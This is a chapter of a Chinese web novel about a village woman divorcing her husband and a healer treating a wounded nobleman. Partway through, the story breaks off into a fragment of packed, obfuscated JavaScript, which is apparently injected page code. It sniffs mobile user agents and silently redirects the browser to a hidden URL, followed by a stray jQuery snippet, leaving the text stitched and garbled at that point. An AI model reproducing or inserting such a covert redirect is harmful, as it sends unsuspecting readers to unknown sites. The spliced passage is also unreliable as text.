44. 休妻
作品:《饲青梅》 “休妻?”王大牛拧成了两竖,语气尖锐,“我不同意!你一个废人,老婆都没了,谁来替你还钱?难道还是你那个一年都不着家的大儿?”
王二狗不卑不亢:“老子再娶一个就是了,还怕没有儿子吗?”
王大牛心里正打着自己的小算盘,如今眼见计划走偏,连忙连哄带骗道:“二狗啊,你如今都成残废了,谁还愿意再嫁给你?再说了,就算有人愿意嫁,那你哪来的钱?”
王二狗哼哼道:“老子有这个房子,就不愁没人嫁给老子!”
王大牛心急如焚,在屋子里转来转去,突然双手一拍,叫道:“二狗啊!我突然想起来,你大侄子要成亲了,娶的可是镇上杀猪的闺女呢!只是人家说了,必定是要有独房的,正巧,你这个做叔叔的如今就只剩下一个人了,不如让他们小夫妻来照顾你们?”
王二狗听罢,记得哇哇大叫,连兄弟情分也顾不得了——
“你这是要霸占我的房子啊!”
“这……这怎么能叫霸占呢?”王大牛干脆也不演了,摊牌道,“你欠老子的八两银子还没还呢!你用房子抵债天经地义,我这都是顾念着兄弟之情,要是告到官府,你连个住的地方都没有!”
“我……”王二狗被怼得哑口无言,借口道,“我就是答应,怎么能和侄媳妇住一块?于理不合,有辱斯文啊!”
“这个好办!”王大牛道,“俺带着家里搬过来和你一块住,老子亲自过来伺候你,怎么样?”
“你你你!咳咳……咳咳咳!”王二狗气得怒火攻心,不停地干咳。
“你们先别吵了!”
云苓看够了这场闹剧,站出来一嗓子嚎道。
众人果然瞬间安静,纷纷打量着云苓。
“什么分房子?这房子是王大娘和王二狗一块建的,自然也有王大娘的一份!你们倒是在这里商量日后谁住在这,有问过王大娘和秀莲日后住在哪吗?”
二狗满不在乎:“老子说了要修了她!哪怕她母女两死在外面老子都不在乎!这房子哪有她的分!”
云苓气笑:“王大娘并没有犯七出之过,你有什么资格休妻?你要真过不下去,除非和离,并且房子和地,你至少分她二选一!否则告到官府,你同样也不占理!”
“分房子和地?笑话!天大的笑话!”王二狗喘着大气,“这是我王家的房子!这是我王家的地!还轮不到你来插嘴!”
“王大娘嫁给你,难道她不是王家人?更何况,她也姓王!你有什么理由……”
“阿苓。”
王大娘的轻声细语打断了云苓的据理力争,云苓一头雾水地看着她。
王大娘轻轻摇了摇头,叹道,“休妻就休妻吧,俺认,俺认。”
“你……”云苓哀其不幸,怒其不争地盯着她,试图找出她难言的苦衷,“大娘,你可不能放弃自己应得的东西啊!”
“俺知道,”王大娘真挚地望向云苓,柔声道,“从前,俺哪里敢肖想离开王二狗呢?是你,阿苓,是你给了俺勇气,教会俺穷则思变的道理。如今俺终于迈出去了这一步,就要紧紧抓牢,不想再拖延,增添更多的变数了。哪怕是一无所有,俺也要带着秀莲远离他,远离这个我生活十几年的地方。”
“那……那你没了房子,又和秀莲住哪里呢?”云苓哽咽。
“俺会去投奔俺儿,只要辛勤肯干,房子迟早都还能再建。俺在哪里扎根,哪里就是俺的家。”
说罢,王大娘看向熙年,诚恳道:“陈姑娘,你能不能帮俺个忙?”
熙熙点点头,“你说大娘,只要我能,我一定做到。”
王大娘扫视一圈,透过王家四兄弟看着家中的一切,最后将目光落在自己的丈夫身上,眸光是王二狗前所未见的坚毅果决——
“写一封和离书,俺愿意将房子和田地都让给他。”
·
云苓无可奈何,因为这毕竟是她自己的人生,唯一对这段人生负责的也只有她自己。于王大娘而言,她能够冲破内心束缚,勇敢的迈出这一步,已经算得上是破茧成蝶了。
在云苓的邀请下,王大娘简单地收拾了自己和女儿的东西,暂时搬到了云家和云苓挤一挤。
在投奔儿子之前,她就暂住在此,作为补偿,她一定要帮助云苓开荒,尽管云苓推辞良久,但还是不得不同意了。
夜色已深,月光透过云层洒在乡间小路上,像是给这条坑坑洼洼的土路铺了一层薄薄的银霜。
云苓提着盏桐油灯走在前头,陈望年跟在她身后,手里还攥着根木棍——说是防身用,万一遇上野狗呢。
“嫂子,你说那阮兰州找你看病,为啥非挑大晚上的?”陈望年压低声音问,“白天不能看?”
云苓脚步不停,“人家自有难处,你管那么多做什么。”
“我就是觉得奇怪,”陈望年嘟囔着,“她一个姑娘家,家里藏着个受伤的男人,还不敢白天找大夫……”
云苓没接话。她当然知道为什么——阮兰州捡到的那位,可是侯府“嫡”子顾砚宁,貌似也是被人追杀的,哪敢光明正大地请大夫。
两人走到村西头,阮兰州家的院子在月光下显得格外安静。
阮兰州已经在院门口等着了,见他们来,连忙迎上来,压低声音道:“云姑娘,陈公子,劳烦你们跑一趟,实在是不好意思。”
云苓摆摆手,“客套话就别说了,病人在哪?”
阮兰州侧身让开路,“在我房里,请随我来。”
陈望年刚要抬脚跟上,阮兰州却犹豫了一下,“陈公子,能不能请你先在堂屋坐一坐?那屋里……怕是不方便”
陈望年一愣,随即反应过来,但还是拒绝了,“不行,我要保证她的安全。”
阮兰州犹豫片刻,“行吧,二位请进。”
云苓拍拍他的胳膊,跟着阮兰州进了里屋。
一进门,云苓就愣住了。
这哪里像农户家的闺房?
靠墙一张雕花架子床,挂着青色的帐幔;窗前一张书案,笔墨纸砚摆放得整整齐齐;墙角还有一个书架,上面居然放着满满当当的书;地上铺着草编的席子,干净得几乎一尘不染。
空气里还有淡淡的艾草香。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320006|196443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>云苓不动声色地扫了一眼——这陈设,这气派,比陈家当初还没败落的时候也不差什么。
不愧是作者之媳,就是“独得偏爱”,性情高雅。
她心里有了数,面上却装作什么也没看出来,只跟着阮兰州走到床前。
帐幔半掩,隐约可见一个男子躺在那里。
阮兰州掀开帐幔,云苓终于看清了这位原书男主的真容——
约莫二十出头的年纪,剑眉星目,鼻梁高挺,薄唇紧抿,即便昏迷着,眉宇间也透着一股凌厉的锐气。
只是此刻面色苍白得厉害,嘴唇干裂,身上裹着的布条隐隐渗出血迹,显然是受了重伤。
“伤在哪?”云苓问。
阮兰州掀开被子一角,“胸前和后背都有刀伤,我替他清洗过,上了些金疮药,可夜里还是发起了热……”
云苓伸手探了探顾砚宁的额头,烫得厉害。
她又翻开他的眼皮看了看,又搭上脉搏诊了一会儿,心里有了底——外伤感染引起的高热,失血过多,要是再拖下去,这位男主怕是要提前领盒饭了。
“得先退热,然后处理伤口。”云苓说着,从随身的布包里取出针袋,“我给他扎几针,你先去烧些热水来。”
阮兰州点点头,转身出去了。
云苓取出银针,在灯火上仔细烤过。她瞥了一眼床上的顾砚宁,心里默默念叨:顾砚宁啊顾砚宁,你可别怪我下手重,我这是救你的命,回头记得多给点诊金……
第一针,合谷。
第二针,曲池。
第三针,大椎。
云苓全神贯注地下针,每一针都精准地扎入穴位。这可是她大学里练了千百遍的,对付这种外伤感染引起的高热,正好对症。
就在她准备扎第四针的时候——
床上的人猛然睁开了眼睛!
那双眼睛锐利如刀,哪像个昏迷的人?
云苓还没反应过来,一只手已经如铁钳般扼住了她的喉咙,另一只手不知何时从袖中滑出一枚银针,冰凉地抵在她颈侧。
“别动。”
声音沙哑低沉,却带着不容置疑的杀意。
云苓僵住了。
其余二人一声惊呼,尤其是陈望年,脸色大变,却也不敢贸然行动,生怕那人会更加走火入魔,“你放开她!”
顾砚宁连眼皮都没抬一下,银针又往前送了半分,云苓脖子上已经渗出一线血痕。
“出去。”他冷冷道。
“你——”陈望年急得眼睛都红了,攥着木棍的手青筋暴起,却不敢轻举妄动。
阮兰州同样脸色煞白,“公子!你、你这是做什么?她是来给你治病的大夫!”
顾砚宁的目光扫过阮兰州,又落在云苓身上,眸中有一瞬间的迷茫,但很快又被凌厉取代。
“大夫?”他冷笑一声,声音虚弱却狠厉,“我怎么知道你是不是他们派来的人?”
云苓被他勒得呼吸困难,却还是艰难地扯了扯嘴角。
她算是明白了——这位爷伤得太重,脑子烧糊涂了,把她当成仇家派来的刺客了。

